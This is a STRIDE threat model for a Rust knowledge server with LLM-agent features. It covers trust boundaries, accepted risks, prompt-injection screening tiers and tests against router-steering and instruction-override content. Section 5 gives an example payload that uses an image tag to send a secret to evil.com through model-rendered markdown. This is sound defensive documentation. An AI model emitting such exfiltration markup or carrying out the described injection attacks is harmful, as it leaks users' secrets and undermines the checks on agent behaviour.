Threat Model — brain-server

Methodology: STRIDE (Microsoft). Reference standards: OWASP Top 10:2025

• Cheat Sheet Series (Context7-verified 2026-07-26), NIST SP 800-63B (digital identity), NIST SP 800-207 (zero-trust architecture).

Coverage current through: R77 (2026-10-06), which folds in the R68–R76 remediation programme and the ninth-pass closures. The v1.28.63–.75 hardening line (§5b) is folded in; per-release detail lives in CHANGELOG.md and the close-out in docs/AUDIT.md. (Stamp moved here by R77 — the T9-03 finding was that R75/R76 shipped security controls with this stamp and SECURITY.md’s still at older dates, violating the same-commit law both files declare.) Stamp policy: every release that moves a security-relevant row in this file moves this stamp in the same commit — staleness is self-declaring by the version gap (do not trust a stamp N releases behind HEAD).

This document is the engineering-side threat model. For per-release progress against the controls below, see SECURITY.md.

Agentic-AI coverage: the LLM/agent-specific threat classes (prompt injection, memory poisoning, tool misuse, agentic supply chain, lies-in-the- loop) are inventoried and mapped to controls in OWASP_AGENTIC_2026.md (OWASP Top 10 for Agentic Applications 2026) — read it as the companion layer to this STRIDE model, not a substitute.

1. System boundaries

                         ┌──────────────────────────────────────────┐
                         │  Internet / untrusted                    │
                         └──────────────────────────────────────────┘
                                          │
                                          ▼
                         ┌──────────────────────────────────────────┐
                         │  Reverse Proxy (operator-managed)        │
                         │  ─ TLS 1.3 termination                   │
                         │  ─ Per-IP rate limit                     │
                         │  ─ WAF / IP allowlist                    │
                         │  ─ HSTS                                 │
                         └──────────────────────────────────────────┘
                                          │ (loopback HTTP)
                                          ▼
┌──────────────────────────────────────────────────────────────────────────┐
│  brain-server (Rust binary, single process)                              │
│  ─ AuthN middleware: JWT/JWS verify + (jti, iss) revocation (v1.2)       │
│  ─ AuthZ middleware: AuthzPolicy::authorize (v1.2)                       │
│  ─ Rate limiter: per-tenant + tiered (v2.1)                              │
│  ─ Audit log: append-only, hash-chained, per-tenant (v1.1)              │
│  ─ SQLite (WAL) or per-domain SQLite (multi-db mode)                    │
│  ─ Optional: A2A federation via mTLS (v3.7)                             │
└──────────────────────────────────────────────────────────────────────────┘
                       │                              │
                       ▼                              ▼
       ┌───────────────────────────┐    ┌───────────────────────────┐
       │  Filesystem (local)       │    │  Peer brain-server (v3.7) │
       │  ─ SQLite DBs             │    │  ─ A2A over mTLS           │
       │  ─ Auth token file (0600) │    │  ─ JWKS verified           │
       │  ─ JWT keys (0700 dir)    │    └───────────────────────────┘
       └───────────────────────────┘

Trust boundaries crossed:

1. Internet → reverse proxy — TLS termination, IP allowlist, per-IP rate limit.
2. Reverse proxy → brain-server — loopback only; AuthN/AuthZ at the app.
3. brain-server → filesystem — same host; assumes disk not tampered (LUKS recommended for full-disk encryption; SQLCipher for at-rest app encryption lands in v3.7).
4. brain-server → peer brain-server (A2A, v3.7) — untrusted; mTLS + JWS verified, scoped capability, data residency allowlist.

2. STRIDE per asset

Asset 1: Knowledge graph data (per-tenant)

Asset 2: Authentication tokens

Asset 3: Audit log

Asset 4: Binary / supply chain

Asset 5: Network transport

3. v1.2 “AuthN” — AuthN/AuthZ threat mitigations

v1.2.0 introduces JWT/JWS verification + a real AuthZ layer. The five threat classes below are the ones v1.2 directly mitigates. Each maps to a control verified by a unit/integration test (308 green).

Tenant context source (OWASP Multi-Tenant Cheat Sheet, Context7-verified 2026-07-26):

“Derive tenant context from authenticated, verified tokens. Use database- level isolation like RLS or schemas as a defense in depth. Include tenant_id in all resource queries, cache keys, and storage paths.”

brain-server goes further than RLS: in multi-db mode (BRAIN_MULTI_DB=true), each tenant’s data lives in a separate SQLite file (physical isolation). The tenant claim is verified by signature before any data-access call.

v1.2 honest ceilings (accepted risks, see §5 exit-gate matrix)

• Revocation has NO staleness window. Every authenticated request resolves (jti, iss) against the registry directly (the per-request, fieldless RevocationCache — v1.28.85). The pre-.85 “≤60s negative cache / eventual consistency” text was the debunked claim (re-stamped T7-03, seventh pass). Residual: registry unavailability DENIES the request (fail-closed) — an availability trade-off, never a stale-acceptance window. Distributed revocation (Redis-backed denylist) remains v2.1 for multi-node deployments.
• Refresh-chain reuse detection burns the chain silently. The legit user is not notified out-of-band; they discover the burn on their next refresh. A user-facing notification channel is v2.1.
• No hot key reload. Adding/removing signing keys requires an install-service.sh restart. File-watch for keys is a small follow-up.
• EC/Ed JWK emission not implemented. EC/Ed keys verify correctly but don’t appear in /.well-known/jwks.json; rotate to RSA for any key a third party must discover via JWKS.

4. Residual risk (acceptances)

These are explicit risk acceptances, not bugs. Each is documented in code with a ponytail: comment naming the ceiling and upgrade path.

1. Shim-mode tenant isolation is row-level, not file-level. Mitigation: SQL WHERE tenant_id filter at the data layer. Risk: a SQL injection in any query would bypass. Accepted because: every query is parameterized (grep-verified), and multi-db mode is the recommended path for true multi-tenant deployments.

2. No encryption at rest before v3.7. Mitigation: filesystem encryption (LUKS/FileVault/BitLocker) recommended in deployment checklist. Risk: a disk image captures plaintext DBs. Accepted because: brain-server targets single-host trusted-disk deployments; SQLCipher is the v3.7 fix. Standing statement (the preflight line’s docs truth): the live DB AND its .bak safety snapshots are PLAINTEXT on the primary host — the encryption law covers the warm-standby FOLLOWER only. Full-disk encryption (LUKS/ FileVault) is the standing recommendation for the primary.

2b. The audit chain detects tampering, not host compromise. The HMAC chain key and the head pin share the host with the DB: the chain proves integrity against SQL/application-level tampering (a flipped row, a truncated history, an old image restored over a newer one), NOT against an attacker who owns the host — host compromise is disk encryption’s problem (statement 2). Scope: the tamper evidence covers the audit chain and the UMP evidence rows bound to it; tampering with a BUSINESS row behind the chain’s back (direct DB write) is inside the host-compromise ceiling — demonstrated live at the seventh pass (R7-08). Reporters: demonstrating “.bak extraction on a stolen disk” is a KNOWN CEILING, not a novel finding (see SECURITY.md).

3. Prompt-injection guard is heuristic, not ML-classifier-based. Ceiling documented in contains_suspicious_pattern. Accepted because: edge-only threat model; recall always marked untrusted: true so the consuming agent enforces the data/instruction boundary. Since v1.28.71 (“Pores”) the heuristic is layered (invisible-strip-first scanning, five translation families, typoglycemia + bounded encoding tiers) and an optional local ONNX classifier adds a second opinion — fail-open (0.0) by design, so the HITL gate, never the classifier, remains the boundary.

4. Per-IP rate limit before v2.1. Single-process in-memory. Risk: a distributed attacker from many IPs can exceed the per-IP cap. Mitigation: edge rate limit at the reverse proxy; per-tenant limit (v2.1) keys on the verified principal, not IP.

5. VACUUM INTO '<path>' is unparameterized (SQLite DDL limitation). Risk: a path containing ' would break SQL. Mitigation: paths come from operator-controlled env vars (BRAIN_DB_PATH, BRAIN_DATA_ROOT), not from request input. Accepted because: pre-existing pattern across backup.rs, migration.rs, and the rehearsal tool.

6. Token revocation rides a per-request registry lookup. Mitigation: zero staleness by construction (fieldless per-request RevocationCache, v1.28.85 — the “≤60s negative cache” claim was debunked; re-stamped T7-03, seventh pass). Accepted residual: registry unavailability fails CLOSED (the request is denied) — an availability cost, not a security window.

4b. Model routing: a NON-surface, kept non-surface by a pin (R53a, 2026-09-29)

The attack class is real; the surface is not. The published cost/safety routing attacks — Route-to-Rome style adversarial suffixes that push a router onto an expensive model, and rerouting papers that bypass safety policy by choosing a different model — all require a content-dependent MODEL router. This tree has none, and the reason is structural rather than disciplinary:

The one content-dependent model router in the tree — workflow/decide/router.rs — has no production caller; its only importer analyses an empty state.

This was an unpinned accident, and that was the finding. The property held because of how the code happens to be written, with zero assertions anywhere (grep for any content-independence assertion: 0 matches repo-wide). R53a converts it into a machine-checked property, so a later round cannot open the surface without turning something red:

• the_bound_model_is_not_a_function_of_the_call_content — behavioural: one provider, five adversarial contents (instruction override, explicit tier lure, bidi-reversed, long suffix, benign control), reading the model off every body that actually left the process. Proven non-vacuous by planting a content-derived model selection and watching it fail.
• the_provider_request_carries_no_model_and_the_body_takes_it_as_an_argument, the_send_seam_reads_the_model_off_the_provider_not_the_request, the_classifier_is_process_wide_and_the_content_selects_only_the_verdict, the_embedder_is_chosen_at_boot_from_the_profile_alone — structural, and all comment-stripped first (F7-07) so prose cannot produce a false pass.

Standing ceiling, stated where an auditor will look. These are regression locks on the code’s SHAPE. They prove the current surfaces are content-independent; they do not prove the absence of every possible content-dependent router, and they are not a red-team exercise against the named attacks. If a router is ever added, the site table in tests/r53a_decision_class_pins.rs is the thing that must be updated deliberately, and DecisionClass (a closed enum) is what forces that round to name the new surface.

Observability, not enforcement. brain_model_calls_total, brain_model_tokens_total and brain_model_incomplete_total, labelled by the closed class set. They make the surface inventory checkable by an operator without reading source. They carry no model id, no domain, no principal, and no content: the class is derived from the call site, and its label is a total function of a fieldless enum. They are process-local — a restart zeroes them — so they are a rate-and-composition gauge, not a spend ledger and not a spend ceiling. No per-class spend ceiling was built; see the round’s evidence §2.4 for the two measured reasons.

Model-controlled markdown is the canonical covert-exfil channel (EchoLeak / CVE-2025-32711 class: <img src="http://evil.com/steal?data=SECRET">). The defense is layered across two trees — the server strips what it can before emission, and the openclaw UI refuses to FETCH what survives:

Standing ceilings, documented honestly:

• Bare URLs in prose survive every strip. Linkified-but-inert is the shipped contract: a URL pasted as text renders as a link and does not fetch until a human clicks. Closing THAT is the documented gate.rs ceiling, still open by design.
• The read-seam fixed point is per-STRING, not cross-chunk. The chunker’s oversized-line arm splits at arbitrary char-boundary offsets, so a hostile element cut across a chunk boundary (<scr / ipt>) sanitizes independently-clean in each piece — every in-repo consumer re-joins through the seam (per-hit fence segments), so the weld class is a DOWNSTREAM-CONSUMER risk, disclosed (seventh-pass R7-11); a tag-aware split would change chunk shapes and needs its own evaluation.
• GET /export emits stored content VERBATIM, by design. Portability is the point: the export is the operator’s cross-site transfer artifact and the untrusted: true label travels WITH it — a sanitizer over it would break byte-level verification at the destination (the same law as the parcels content hash). Admin-gated; the read seam governs every RENDERED surface (recall/get/proposals/notes/procedures/traces), not this transfer surface.
• The OTLP exporter is operator-configured egress outside the validated client. The resolve→validate→pin law covers the webhook sinks; the otel-otlp HTTP exporter builds its own reqwest client (per-request DNS, redirect-following). Accepted because the collector endpoint is operator-set (not attacker-controlled) and span attributes are ANSI/PII sanitized before export (v1.28.74); a guarded exporter client is a disclosed hardening follow-up.
• Operator allowlists are trust, not safety. An allowlisted host is a place the operator vouches for; if the operator allowlists a hostile host, the gate is doing its job when it fetches exactly that host and nothing else. The SSRF guard (loopback/metadata/private refusal) stays enforced even for allowlisted hosts.
• Proxied favicon fetches are same-origin and authenticated; the UI never fetches remote image bytes directly — everything rides the gateway proxy with its byte/time caps and strict media validation.

5b. The 2026-09 hardening line (v1.28.63–.75): controls and ceilings

Thirteen releases closed every code-closeable finding of the 2026-09-06 joint audit (41 findings; close-out with dispositions in docs/AUDIT.md). The controls below are the threat-model-relevant additions, in ship order:

Ceilings this line explicitly keeps (do not “fix” without amending the architecture):

• The screen is a tripwire, not a boundary — the boundary is the HITL gate (mantra 3). Pores widens the tripwire; it never makes ingest “safe”.
• Origin is ONE boolean-grade label (owner vs channel-capture), not a lattice or policy engine — no auto-promotion exists to protect.
• MCP catalog drift is SURFACED (notify + pendingAck), not gated — the ack is an explicit operator touch. PIN COVERAGE IS ASYMMETRIC (fork): only the embedded-agent run lane passes catalogPinsPath — the plugin-sdk harness, compaction runtimes, and doctor projections reconcile through the default path only after the U3 upstream PR lands; until then a tool blocked in the main attempt is not blocked in those contexts.
• Egress pinning defends the server’s own sinks; operator allowlists (webhook hosts, remote images) are trust, not safety. The OTLP exporter and the fork’s pinned-host DNS resolution sit outside the validated client (operator-configured endpoints — disclosed in §5).
• The audit chain detects SQL/application-level tampering, not host compromise; the live DB and .bak snapshots stay plaintext on the primary (§4 items 2/2b). Model-manifest pinning is boot-time-only (load-time re-verification is host-compromise territory — the same ceiling). NARROWED (v1.28.91 “Notary”): brain anchor extends detection past the SQL layer — an OFF-HOST recorded state fingerprint (chain head + knowledge content census + counts; --verify recomputes) catches business-row rewrites the chain itself cannot see (the seventh-pass R7-08 demonstration class), at an operator-chosen cadence (detection latency = that cadence; proposals/workflow/dsar rows censused by COUNT only). brain shred closes the SQL-layer half of erasure residue (secure_delete + checkpoint(TRUNCATE) + VACUUM, freelist reads back 0, one forget row) — filesystem copies, .bak, standby chunks, and SSD wear-leveling stay operator-level ceilings, and the host compromise ceiling itself stands: the anchor is detection, never prevention.
• WORKLOAD IDENTITY IS STATIC SHARED SECRETS (W9-03, F9-S-04 census, ninth pass): every inter-component seam — the opaque operator bearer, the MCP bearer, the signal-gateway bearer, the relay/bridge HMACs — is one long-lived secret whose only remedy is file rotation + restart; only HTTP session JWTs are bounded (24 h cap). A per-boot ephemeral loopback bearer through the existing JWT machinery was considered and DECLINED for now: it breaks every scripted/API-keyed consumer at each restart and needs a provisioning story this component does not have. Consequence (named, not hidden): a leaked operator token is unkilable from inside — F9-01’s refusal says so out loud; rotation is the operator’s remedy.
• RULE OF TWO IN THE OPENCLAW HOST (W9-05, ninth pass): the brain plugin parses untrusted JSON inside the same host process that holds provider keys — accepted tension, mitigated by the unforgeable sentinel fence, per-agent gating, and the sanitized projection seam, and RECORDED here so a future fence-weakening refactor is visible against this ceiling rather than silent.
• Single-tenant storage: the domain shim is a label, not a boundary — included_global makes mixing visible; true isolation is BRAIN_MULTI_DB (v2.0 Cortex). Quorum is opt-in (default 1); pin-ack signatures are TOFU, not operator-bound; DNS-rebind of the plugin pin and keyless self-assertion stay disclosed (v1.28.80 rows above).
• UPSTREAM SUPPLY CHAIN (fork, pnpm audit --prod 2026-09-11): 5 moderate + 2 low, all transitive in optional extension chains (hono <4.13.5, qs <6.16.0 — pinned there by UPSTREAM’s own pnpm-workspace.yaml security override gone stale, joi <18.2.5). Upstream-owned: PR spec filed (override bumps + SDK bump); the fork does not edit upstream files.
• DSAR root matching vs principal-less writes (F7-02, seventh pass): every content write now carries an owner stamp — the acting principal’s sub, or the fixed loopback label for the opaque-mode superuser (a static bearer has no JWT sub; the writes were NULL and the DSAR locate, which keys on knowledge.owner, never saw them). Write-side only — historical pre-v1.28.87 rows keep their NULL owner and stay stamp-blind by declaration (dated; re-import to stamp). Residual: suggest_feedback rows keep the principal-sub-or-NULL shape (the DSAR sweep’s feedback arm is unchanged), and the DSAR subject vocabulary is the WRITER’s identity — rows ABOUT a person but written by another principal are located via the derived_from walk, not the owner column (unchanged semantics).

6. Per-release security exit gates

Each major release must complete these exit gates (in addition to fmt/clippy/test).

Honest scope, ledger wording (v1.28.87 docs-truth): a release whose audit names known residuals MUST NOT headline “gap ledger zero” — the standing phrase is “gap ledger balanced (N known residuals with owners)” with a residual table in the CHANGELOG entry (see the v1.28.79 correction note). “Balanced” means no UNOWNED gaps, not drift-impossible. Enforced by grep -rn "gap ledger zer[o]" CHANGELOG.md docs/ returning zero hits.

Honest scope (fourth pass T4-03): the columns below are the HISTORICAL v1.x matrix plus the FUTURE major lines (v2.0 Cortex, v2.1, v3.7 A2A — unchecked because those releases have not happened). The current line (v1.28.x) runs the per-release gate on EVERY release — THREAT_MODEL + SECURITY + OWASP matrix re-stamps, cargo audit, authz/authn matrix, chain-verify, docs-truth and reg_watch pins — recorded per release in CHANGELOG.md §[version] engineering records; the gate row matrix is re-drawn when a major line opens.

7. What this threat model does NOT cover

• Physical access to the host. Assumes the operator controls physical access (full-disk encryption is the operator’s concern).
• Social engineering. Out of scope; covered by ops policies, not code.
• Insider threat from the operator themselves. The operator can read every DB. For true multi-party computation, federate (v3.7 A2A) so no single party has all data.
• Quantum computing attacks. Asymmetric crypto (RSA, ECDSA) is quantum- vulnerable. Post-quantum algorithms (ML-DSA / ML-KEM from NIST PQC) are reserved for a future major release when libraries stabilize.
• Supply chain of the operating system. Assumes the OS / kernel / libc are trusted. Hardened OS images (Flatcar, Talos) are an operator choice.
• Payment data (PCI DSS — explicit non-scope). Payment-card data is never ingested, stored, or transited by this system; no PCI scope is claimed or achievable through this component. Content screening + PII masking exist for privacy law, not as PCI controls.

8. Review cadence

• Per major release: full STRIDE review, update this doc, update OWASP coverage in SECURITY.md.
• Per CVE in a direct dep: immediate patch release.
• Per discovered vuln (security advisory): immediate patch, retro on why the threat model missed it, update doc.
• Annual: third-party penetration test for any version marketed as “enterprise-ready” (target: v2.0+).